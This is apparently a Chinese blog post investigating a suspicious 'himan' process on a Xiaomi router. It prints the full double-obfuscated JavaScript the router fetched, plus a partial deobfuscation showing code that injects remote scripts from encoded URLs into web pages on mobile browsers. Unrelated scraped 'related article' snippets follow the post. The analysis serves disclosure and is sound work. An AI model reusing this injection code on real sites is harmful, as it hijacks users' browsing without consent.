小米路由器开发版之前有出过劫持网页插入广告的行为,而且这个是通过云端去控制的,也就是你的路由器上有个远程后门。。。

今天 SSH 登录小米路由器,执行 top 命令发现了进程中有一个非常可疑的行为。

有一个叫 himan 的进程,行为可疑,频繁的执行,CPU 占用率也很高:

访问了这两个地址:

这个网址后面还会跟设备 ID,发帖前这个网址还可以访问,你可以自行访问查看

浏览器访问这个地址,发现返回了一个看上去像是规则列表的东西:

最后一个规则非常可疑,是一段 JS 代码:

发现这代码不仅做了压缩,而且还做了混淆加密,而是是双重混淆加密,为什么需要这样做?不想让别人看到什么?

尾巴上的一段代码把它执行,得到了 eval

eval,这已经不是 js 代码的常规操作,这段代码的行迹已经很可疑了。

完整代码如下:

HTTP/1.1 200 OK

Server: DnionOS/1.11.2.1.10

Content-Type: application/javascript

Connection: close

Content-Length: 1535

(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[25689rt-zA-F]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(5(l,n){5 f(o){v{2 d=l.w("head")[0];2 q=d.appendChild(i(o));x(5(){d.removeChild(q)},2000)}y(j){}}5 c(d){8 l.createElement(d)}5 i(e){2 d=c("z");d.type="text/javascript";d.async=true;d.9=e;8 d}5 h(p){2 o="";2 d=Math.floor(p.r/4);2 j=p.r-4d;A(2 e=0;e0){o+=p.B(4d)}o=decodeURIComponent(o);o=o.split("").reverse().C("");o=o.t(/["]/g,"www");o=o.t(/[>]/g,"http");o=o.t(/[0||b.u("Mobile")>0){6(!n.F){n.F=1;x(5(){f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))},10)}}}}break}}}y(m){}})(document,window);',[],42,'||var|||function|if||return|src||||||||||||||||||length||replace|indexOf|try|getElementsByTagName|setTimeout|catch|script|for|substr|join|sj|g1wtj_uuid_a2n11|uuid_m8v_0212'.split('|'),0,{}))})(function(){return (27).toString(4<<2)+'v'+0xf1.toString(11<<1)},window);

最终解密出来的 js

部分解密,这个 js 应该是采用了自定义的加密手法,而且也许还以依赖了别的外部变量,导致没法通过执行的方式全部还原 js,不过代码的意图已经大致可见。

预计完全解密这段 js 需要些时间,本人时间有限,暂时先发出来,同时欢迎其它大牛解密,看看究竟它在干什么。

因为只解密出大致的代码,没有完全解密,也就无法 100% 断定这段代码的行为,不过已经足够对它行为进行大致的判断。

如何判断,在完全解密出来前,我不会下定论,那么就交给各位了。

最后,看来,我还是自己弄个开源的软路由吧。。。

代码中的几个关键词:

createElement

d.type = "text/javascript"

appendChild

decodeURIComponent

www

http

b.u("Mobile") > 0

解密出的大致代码:

(5(l, n) {

5 f(o) {

v {

2 d = l.w("head")[0];

2 q = d.appendChild(i(o));

x(5() {

d.removeChild(q)

}, 2000)

}

y(j) {}

}

5 c(d) {

8 l.createElement(d)

}

5 i(e) {

2 d = c("z");

d.type = "text/javascript";

d.async = true;

d.9 = e;

8 d

}

5 h(p) {

2 o = "";

2 d = Math.floor(p.r / 4);

2 j = p.r - 4 * d;

A(2 e = 0; e0) {

o += p.B(4 * d)

}

o = decodeURIComponent(o);

o = o.split("").reverse().C("");

o = o.t(/["]/g, "www");

o = o.t(/[>]/g, "http");

o = o.t(/[

8 o

}

v {

2 a = "D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g";

a = h(a);

2 k = l.w("z");

A(2 g = 0; g0 || b.u("Mobile") > 0) {

6(!n.F) {

n.F = 1;

x(5() {

f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));

f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))

}, 10)

}

}

}

}

break

}

}

}

y(m) {}

})(document, window);

小米路由 php 服务器,小米路由器在后台不停访问小米服务器发送设备信息,继续分析发现不止如此,还......相关推荐

  1. 小米 samba linux,不折腾会死:CentOS7访问小米路由(Samba服务)

    由于之家里电脑之前是用win10的,访问小米路由(1T硬盘版)只需要按win + r输入\\192.168.31.1即可访问到小米路由硬盘中的目录和文件. 但是最近系统换成CentOS,想继续像以前那 ...

  2. 路由器总是显示未连接到服务器,链接路由器但一直显示未连接服务器

    链接路由器但一直显示未连接服务器 内容精选 换一换 Atlas 200 DK开发者板支持通过USB端口或者网线与Ubuntu服务器进行连接,连接示例图如图1所示.Atlas 200 DK连接Ubunt ...

  3. 访问ftp服务器不显示文件夹权限问题,访问ftp服务器显示无权限问题

    访问ftp服务器显示无权限问题 内容精选 换一换 无法访问httpd文件服务器的下一级目录,提示无权限访问.查看系统中的日志(/etc/httpd/logs/error_log或var/log/htt ...

  4. java 到服务器上读文件路径,java访问linux服务器读取文件路径

    java访问linux服务器读取文件路径 内容精选 换一换 通过ADC从Host获取文件.参见准备环境完成环境配置.以运行用户登录安装Toolkit组件的服务器.执行命令,从Host获取B.java, ...

  5. arm服务器获取文件路径中文,ssh 访问远程服务器文件路径

    ssh 访问远程服务器文件路径 内容精选 换一换 在IntelliJ上选择"项目",找到".idea"文件夹,单击右键选择"新建>文件" ...

  6. Samba服务器(一):windows访问samba服务器共享文件的简单实现(图文并茂)

    From:http://linux.chinaunix.net/techdoc/beginner/2009/07/09/1122864.shtml 一.linux的文件共享(当然也包括和windows ...

  7. 服务器在新加坡延迟,从国内访问新加坡服务器延迟多大?

    新加坡作为东南亚的核心发达地区,很多国内企业在选择出海发展业务时,都会将这里作为首选地.在互联网行业也一样,我们在租用东南亚服务器时,也会以这一核心来选择,以此为核心辐射至周边地区.电商.海外代购是东 ...

  8. 安装软件显示服务器地址,怎样查看安装软件访问的服务器地址

    怎样查看安装软件访问的服务器地址 内容精选 换一换 使用mount命令挂载文件系统到云服务器,云服务器提示access denied,挂载失败.原因1:文件系统已被删除.原因2:执行挂载命令的云服务器 ...

  9. ftp服务器上面看不到文件,访问ftp服务器没显示文件

    访问ftp服务器没显示文件 内容精选 换一换 在本地主机和Windows弹性云服务器上分别安装QQ.exe等工具进行数据传输.使用远程桌面连接mstsc方式进行数据传输.该方式不支持断点续传,可能存在 ...

最新文章

  1. 浅析2007年商业智能领域上演的收购大戏
  2. 普元EOS开发积累第一篇(常见错误解决方法) 持续更新
  3. 关于mysql的定时任务
  4. (SpringMVC)RestFul和Controller
  5. Making the Grade POJ - 3666(离散化+dp)
  6. Weblogic的管理服务器与受管服务器
  7. Golang Http Server源码阅读
  8. win7右键没有新建文件夹了
  9. 安装Oracle Webcenter 11.1.1.8.0并使用JDeveloper开发Portlet
  10. Android开机速度优化简单回顾——readahead
  11. 解决浏览器无法打开github官网的问题
  12. 房源租赁签约管理系统、租房系统、退租、续租、换租、转租、房源管理、招租系统、租期账单、合同管理、营销推广、租客系统、业主系统、web原型、业务流程 、门禁系统、Axure原型、rp源文件
  13. 如何制作抖音卡点视频,使用预设制作酷炫转场
  14. 模仿京东tab切换--自创
  15. 【Win7系统中怎么在我的电脑里面找回摄像头设置】
  16. springBoot配置全局异常处理器
  17. java 图片移动代码,如何较好的移动图片
  18. OEM、ODM别再混淆了,TCOOP教您轻松辨别
  19. 关于停车计费系统的几个问题
  20. java毕业设计超市进销存管理系统Mybatis+系统+数据库+调试部署

热门文章

  1. 类里面没有参缺省构造函数 的带来的问题
  2. [转自360kr]如何才能进入Facebook工作?公司内部工程师告诉你
  3. LoadRunner动态连接库函数的调用
  4. ARM入门笔记(7)
  5. string : undeclared identifier 出错原因
  6. [转] new 和delete
  7. Math类的三个方法比较: floor() ceil() round()
  8. 南邮 md5 collision
  9. spring的路径匹配问题
  10. 此文件中的某些文本格式可能已经更改,因为它已经超出最多允许的字体数。关闭其他文档再试一次可能有用。...